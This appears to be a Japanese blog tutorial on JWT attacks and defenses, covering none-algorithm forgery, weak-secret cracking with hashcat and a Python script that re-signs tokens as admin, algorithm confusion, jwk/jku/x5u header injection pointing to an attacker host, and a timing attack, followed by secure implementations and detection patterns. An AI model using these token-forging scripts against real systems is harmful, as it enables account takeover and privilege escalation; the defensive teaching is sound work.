JWT攻撃とは?
JWT(JSON Web Token)攻撃とは、JWT の実装上の脆弱性や設計上の問題を悪用して、認証を迂回したり、他のユーザーになりすましたりする攻撃手法です。
JWTは現代のWebアプリケーションやAPIで最も広く使用されている認証トークンの形式ですが、適切に実装されていない場合、以下のような深刻なセキュリティリスクを抱えます:
- アカウント乗っ取り
- 権限昇格(一般ユーザー → 管理者)
- 認証迂回
- 機密情報の漏洩
- セッションハイジャック
特に、JWT は自己完結型のトークンのため、一度漏洩すると取り消しが困難という特性があり、攻撃が成功した場合の被害が深刻になりがちです。
JWTの基本構造
まず、JWT攻撃を理解するために、JWTの基本構造を確認しましょう。
JWTは以下の3つの部分がドット(.)で区切られた構造になっています:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
1. Header(ヘッダー)
{
"alg": "HS256",
"typ": "JWT"
}
2. Payload(ペイロード)
{
"sub": "1234567890",
"name": "John Doe",
"iat": 1516239022,
"exp": 1516242622,
"role": "user"
}
3. Signature(署名)
HMACSHA256(
base64UrlEncode(header) + "." +
base64UrlEncode(payload),
secret
)
JWT攻撃の種類と手法
1. None Algorithm Attack
最も基本的で危険な攻撃手法です。
脆弱性の概要:
多くのJWTライブラリは、alg: "none"
(署名なし)をサポートしており、適切に検証されていない場合、攻撃者は署名なしのトークンを作成できます。
攻撃例:
// 正常なJWT
const validToken = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwicm9sZSI6InVzZXIifQ.signature"
// 攻撃者が作成する悪意のあるトークン
const maliciousHeader = {
"alg": "none", // 署名なしアルゴリズムを指定
"typ": "JWT"
}
const maliciousPayload = {
"sub": "1234567890",
"name": "John Doe",
"role": "admin" // 権限を昇格
}
// 署名部分は空
const maliciousToken = btoa(JSON.stringify(maliciousHeader)) + "." +
btoa(JSON.stringify(maliciousPayload)) + "."
脆弱なサーバー側の実装:
// 危険なコード例
function verifyToken(token) {
const [header, payload, signature] = token.split('.');
const decodedHeader = JSON.parse(atob(header));
if (decodedHeader.alg === "none") {
// 署名検証をスキップ!
return JSON.parse(atob(payload));
}
// 通常の署名検証処理...
}
2. Weak Secret Attack
HMACアルゴリズム(HS256、HS384、HS512)で弱い秘密鍵を使用している場合の攻撃:
攻撃手法:
# hashcatを使用したJWT secret のブルートフォース攻撃
hashcat -a 0 -m 16500 jwt_token.txt rockyou.txt
# John the Ripperを使用した攻撃
john --wordlist=rockyou.txt --format=HMAC-SHA256 jwt_hash.txt
よく使われる弱い秘密鍵:
secret
password
123456
jwt_secret
your-256-bit-secret
攻撃例(Python):
import jwt
import hashlib
# 弱い秘密鍵の辞書攻撃
weak_secrets = ['secret', 'password', '123456', 'jwt_secret']
stolen_token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."
for secret in weak_secrets:
try:
decoded = jwt.decode(stolen_token, secret, algorithms=['HS256'])
print(f"秘密鍵が見つかりました: {secret}")
print(f"デコード結果: {decoded}")
# 攻撃者が新しいトークンを作成
malicious_payload = decoded.copy()
malicious_payload['role'] = 'admin'
malicious_token = jwt.encode(malicious_payload, secret, algorithm='HS256')
print(f"悪意のあるトークン: {malicious_token}")
break
except:
continue
3. Algorithm Confusion Attack
非対称暗号(RS256)と対称暗号(HS256)の混同を利用した攻撃:
攻撃の概要:
- サーバーは通常RS256(RSA + SHA256)を使用
- 攻撃者が公開鍵を取得
- アルゴリズムをHS256に変更
- 公開鍵を秘密鍵として使用してトークンを作成
攻撃例:
import jwt
import base64
# 1. サーバーの公開鍵を取得(通常は/.well-known/jwks.json で公開)
public_key = """-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA...
-----END PUBLIC KEY-----"""
# 2. 元のJWTトークンをデコード(署名検証なし)
original_token = "eyJhbGciOiJSUzI1NiIs..."
decoded_payload = jwt.decode(original_token, options={"verify_signature": False})
# 3. 権限を昇格
decoded_payload['role'] = 'admin'
# 4. アルゴリズムをHS256に変更し、公開鍵を秘密鍵として使用
malicious_token = jwt.encode(
decoded_payload,
public_key, # 公開鍵を秘密鍵として使用
algorithm='HS256' # アルゴリズムを変更
)
print(f"悪意のあるトークン: {malicious_token}")
4. JWT Header Injection
JWTヘッダーの追加パラメータを悪用した攻撃:
4.1 jwk(JSON Web Key)インジェクション:
// 攻撃者が作成する悪意のあるJWTヘッダー
const maliciousHeader = {
"alg": "RS256",
"typ": "JWT",
"jwk": { // 攻撃者が制御する公開鍵を指定
"kty": "RSA",
"use": "sig",
"n": "attacker_controlled_modulus",
"e": "AQAB"
}
}
4.2 jku(JSON Web Key Set URL)インジェクション:
const maliciousHeader = {
"alg": "RS256",
"typ": "JWT",
"jku": "https://attacker-controlled.com/.well-known/jwks.json" // 攻撃者のサーバー
}
4.3 x5u(X.509 URL)インジェクション:
const maliciousHeader = {
"alg": "RS256",
"typ": "JWT",
"x5u": "https://attacker-controlled.com/cert.pem" // 攻撃者の証明書
}
5. JWT Timing Attack
JWT署名検証の実装に存在するタイミング攻撃:
import time
import requests
def timing_attack(base_token):
"""
JWT署名の1バイトずつをブルートフォースで特定
"""
known_signature = ""
for position in range(32): # 署名の長さ分繰り返し
min_time = float('inf')
best_char = None
for char in "0123456789abcdef": # 16進数文字
test_signature = known_signature + char + "0" * (31 - position)
test_token = base_token + test_signature
start_time = time.time()
response = requests.post('/verify', data={'token': test_token})
end_time = time.time()
if end_time - start_time < min_time:
min_time = end_time - start_time
best_char = char
known_signature += best_char
print(f"Position {position}: {best_char}")
return known_signature
JWT攻撃の対策方法
1. 適切なアルゴリズム選択と検証
// 安全なJWT検証実装(Node.js)
const jwt = require('jsonwebtoken');
function verifyJWT(token, secret) {
const options = {
algorithms: ['HS256'], // 許可するアルゴリズムを明示的に指定
issuer: 'your-app.com',
audience: 'your-app-users',
clockTolerance: 60, // 時刻のずれを60秒まで許容
};
try {
// "none"アルゴリズムは自動的に拒否される
const decoded = jwt.verify(token, secret, options);
return decoded;
} catch (error) {
if (error.name === 'TokenExpiredError') {
throw new Error('トークンが期限切れです');
} else if (error.name === 'JsonWebTokenError') {
throw new Error('無効なトークンです');
} else {
throw new Error('トークン検証に失敗しました');
}
}
}
// 使用例
app.post('/api/protected', (req, res) => {
const token = req.headers.authorization?.split(' ')[1];
if (!token) {
return res.status(401).json({ error: 'トークンが必要です' });
}
try {
const decoded = verifyJWT(token, process.env.JWT_SECRET);
req.user = decoded;
// 処理を続行
} catch (error) {
return res.status(403).json({ error: error.message });
}
});
2. 強力な秘密鍵の使用
// 強力な秘密鍵の生成
const crypto = require('crypto');
// 256ビット(32バイト)のランダムな秘密鍵を生成
const strong_secret = crypto.randomBytes(32).toString('hex');
console.log('強力な秘密鍵:', strong_secret);
// 環境変数での管理
process.env.JWT_SECRET = strong_secret;
秘密鍵の要件:
- 最低256ビット(32バイト)以上
- 暗号学的に安全な乱数生成器を使用
- 辞書に載っていない文字列
- 定期的なローテーション
3. RS256(非対称暗号)の使用
// RS256を使用した安全な実装
const fs = require('fs');
const jwt = require('jsonwebtoken');
// RSA鍵ペアの生成
const { generateKeyPairSync } = require('crypto');
const { publicKey, privateKey } = generateKeyPairSync('rsa', {
modulusLength: 2048,
publicKeyEncoding: {
type: 'spki',
format: 'pem'
},
privateKeyEncoding: {
type: 'pkcs8',
format: 'pem'
}
});
// JWTの署名
function signJWT(payload) {
return jwt.sign(payload, privateKey, {
algorithm: 'RS256',
expiresIn: '1h',
issuer: 'your-app.com',
audience: 'your-app-users'
});
}
// JWTの検証
function verifyJWT(token) {
return jwt.verify(token, publicKey, {
algorithms: ['RS256'],
issuer: 'your-app.com',
audience: 'your-app-users'
});
}
4. JWTヘッダーパラメータの制限
// 安全なJWT検証(ヘッダーパラメータをチェック)
function secureVerifyJWT(token, secret) {
const [headerB64, payloadB64, signature] = token.split('.');
if (!headerB64 || !payloadB64 || !signature) {
throw new Error('無効なJWT形式です');
}
const header = JSON.parse(Buffer.from(headerB64, 'base64').toString());
// 危険なヘッダーパラメータをチェック
const dangerous_params = ['jwk', 'jku', 'x5u', 'x5c'];
for (const param of dangerous_params) {
if (header[param]) {
throw new Error(`危険なヘッダーパラメータが検出されました: ${param}`);
}
}
// 許可されたアルゴリズムのみを受け入れ
const allowed_algorithms = ['HS256', 'RS256'];
if (!allowed_algorithms.includes(header.alg)) {
throw new Error(`許可されていないアルゴリズム: ${header.alg}`);
}
// 通常のJWT検証
return jwt.verify(token, secret, { algorithms: [header.alg] });
}
5. 適切なトークン管理
// JWT with refresh token pattern
class JWTManager {
constructor(secretKey, refreshSecretKey) {
this.secretKey = secretKey;
this.refreshSecretKey = refreshSecretKey;
this.blacklist = new Set(); // トークンブラックリスト
}
// アクセストークンの生成(短期間)
generateAccessToken(user) {
return jwt.sign(
{
id: user.id,
role: user.role,
type: 'access'
},
this.secretKey,
{
expiresIn: '15m', // 15分で期限切れ
issuer: 'your-app.com',
subject: user.id.toString()
}
);
}
// リフレッシュトークンの生成(長期間)
generateRefreshToken(user) {
return jwt.sign(
{
id: user.id,
type: 'refresh'
},
this.refreshSecretKey,
{
expiresIn: '7d', // 7日間
issuer: 'your-app.com',
subject: user.id.toString()
}
);
}
// トークンの検証とブラックリストチェック
verifyToken(token, tokenType = 'access') {
const tokenHash = crypto.createHash('sha256').update(token).digest('hex');
if (this.blacklist.has(tokenHash)) {
throw new Error('トークンが無効化されています');
}
const secret = tokenType === 'access' ? this.secretKey : this.refreshSecretKey;
const decoded = jwt.verify(token, secret);
if (decoded.type !== tokenType) {
throw new Error('無効なトークンタイプです');
}
return decoded;
}
// トークンの無効化
revokeToken(token) {
const tokenHash = crypto.createHash('sha256').update(token).digest('hex');
this.blacklist.add(tokenHash);
}
}
フレームワーク別の安全な実装
Laravel(PHP)
<?php
// Laravelでの安全なJWT実装
// config/jwt.php
return [
'secret' => env('JWT_SECRET'),
'ttl' => 60, // 1時間
'refresh_ttl' => 20160, // 2週間
'algo' => 'HS256',
'required_claims' => [
'iss',
'iat',
'exp',
'nbf',
'sub',
'jti',
],
'blacklist_enabled' => true,
'blacklist_grace_period' => 0,
];
// JWTミドルウェア
class JWTMiddleware {
public function handle($request, Closure $next) {
try {
$token = JWTAuth::parseToken();
$user = $token->authenticate();
if (!$user) {
return response()->json(['error' => 'ユーザーが見つかりません'], 404);
}
} catch (TokenExpiredException $e) {
return response()->json(['error' => 'トークンが期限切れです'], 401);
} catch (TokenInvalidException $e) {
return response()->json(['error' => '無効なトークンです'], 401);
} catch (JWTException $e) {
return response()->json(['error' => 'トークンが必要です'], 401);
}
return $next($request);
}
}
// コントローラー
class AuthController extends Controller {
public function login(Request $request) {
$credentials = $request->only('email', 'password');
if (!$token = JWTAuth::attempt($credentials)) {
return response()->json(['error' => 'ログインに失敗しました'], 401);
}
return response()->json([
'access_token' => $token,
'token_type' => 'bearer',
'expires_in' => auth()->factory()->getTTL() * 60
]);
}
public function logout() {
JWTAuth::invalidate();
return response()->json(['message' => 'ログアウトしました']);
}
}
?>
Django(Python)
# Django + PyJWTでの安全な実装
import jwt
import datetime
from django.conf import settings
from django.contrib.auth.models import User
class JWTAuthentication:
def __init__(self):
self.secret_key = settings.JWT_SECRET
self.algorithm = 'HS256'
self.access_token_lifetime = datetime.timedelta(minutes=15)
self.refresh_token_lifetime = datetime.timedelta(days=7)
def generate_tokens(self, user):
now = datetime.datetime.utcnow()
# アクセストークン
access_payload = {
'user_id': user.id,
'username': user.username,
'exp': now + self.access_token_lifetime,
'iat': now,
'type': 'access'
}
access_token = jwt.encode(access_payload, self.secret_key, algorithm=self.algorithm)
# リフレッシュトークン
refresh_payload = {
'user_id': user.id,
'exp': now + self.refresh_token_lifetime,
'iat': now,
'type': 'refresh'
}
refresh_token = jwt.encode(refresh_payload, self.secret_key, algorithm=self.algorithm)
return access_token, refresh_token
def verify_token(self, token, token_type='access'):
try:
payload = jwt.decode(
token,
self.secret_key,
algorithms=[self.algorithm],
options={
'require_exp': True,
'require_iat': True,
'verify_exp': True,
'verify_iat': True,
}
)
if payload.get('type') != token_type:
raise jwt.InvalidTokenError('無効なトークンタイプ')
return payload
except jwt.ExpiredSignatureError:
raise jwt.InvalidTokenError('トークンが期限切れです')
except jwt.InvalidTokenError:
raise jwt.InvalidTokenError('無効なトークンです')
# ミドルウェア
class JWTAuthenticationMiddleware:
def __init__(self, get_response):
self.get_response = get_response
self.jwt_auth = JWTAuthentication()
def __call__(self, request):
token = self.get_token_from_request(request)
if token:
try:
payload = self.jwt_auth.verify_token(token)
user = User.objects.get(id=payload['user_id'])
request.user = user
except (jwt.InvalidTokenError, User.DoesNotExist):
request.user = None
response = self.get_response(request)
return response
JWT攻撃の検出と監視
1. 異常なトークンパターンの監視
// JWT anomaly detection
class JWTAnomalyDetector {
constructor() {
this.suspiciousPatterns = [
/.*"alg"\s*:\s*"none".*/i,
/.*"jwk"\s*:.*/,
/.*"jku"\s*:.*/,
/.*"x5u"\s*:.*/
];
}
detectAnomalies(token) {
const alerts = [];
// 1. 署名なしトークンの検出
if (token.endsWith('.')) {
alerts.push('署名なしトークンが検出されました');
}
// 2. 異常なヘッダーパラメータの検出
const [headerB64] = token.split('.');
const headerStr = Buffer.from(headerB64, 'base64').toString();
for (const pattern of this.suspiciousPatterns) {
if (pattern.test(headerStr)) {
alerts.push(`危険なヘッダーパターンが検出されました: ${pattern}`);
}
}
// 3. 異常に長いトークンの検出
if (token.length > 1000) {
alerts.push('異常に長いトークンが検出されました');
}
return alerts;
}
logSuspiciousActivity(ip, userAgent, token, alerts) {
console.warn('JWT Security Alert:', {
timestamp: new Date().toISOString(),
ip: ip,
userAgent: userAgent,
tokenHash: crypto.createHash('sha256').update(token).digest('hex').substring(0, 16),
alerts: alerts
});
}
}
2. レート制限とアクセスパターン分析
// JWT abuse detection
class JWTAbuseDetector {
constructor() {
this.attemptTracker = new Map();
this.maxAttemptsPerIP = 100;
this.timeWindowMs = 60000; // 1分
}
checkAbuse(ip, token) {
const now = Date.now();
const key = ip;
if (!this.attemptTracker.has(key)) {
this.attemptTracker.set(key, []);
}
const attempts = this.attemptTracker.get(key);
// 古い記録を削除
const recentAttempts = attempts.filter(time => now - time < this.timeWindowMs);
if (recentAttempts.length >= this.maxAttemptsPerIP) {
return {
blocked: true,
reason: 'レート制限に達しました'
};
}
recentAttempts.push(now);
this.attemptTracker.set(key, recentAttempts);
return { blocked: false };
}
}
まとめ
JWT攻撃は、現代のWeb認証における最も深刻なセキュリティリスクの一つです。
重要なポイント:
- "none"アルゴリズムを絶対に許可しない
- 強力な秘密鍵(最低256ビット)を使用
- アルゴリズムを明示的に指定(Algorithm Confusion 対策)
- 危険なヘッダーパラメータを拒否(jwk、jku、x5u など)
- 適切なトークン管理(短期間のアクセストークン + リフレッシュトークン)
- ブラックリスト機能の実装
- 異常なアクセスパターンの監視
特に重要なのは、JWTライブラリの適切な使用です。多くの脆弱性は、ライブラリの不適切な使用や設定不備によって生じます。
JWTは便利な認証メカニズムですが、適切に実装されていない場合は深刻なセキュリティホールになります。この記事で紹介した対策を参考に、安全なJWT実装を心がけてください。
コメント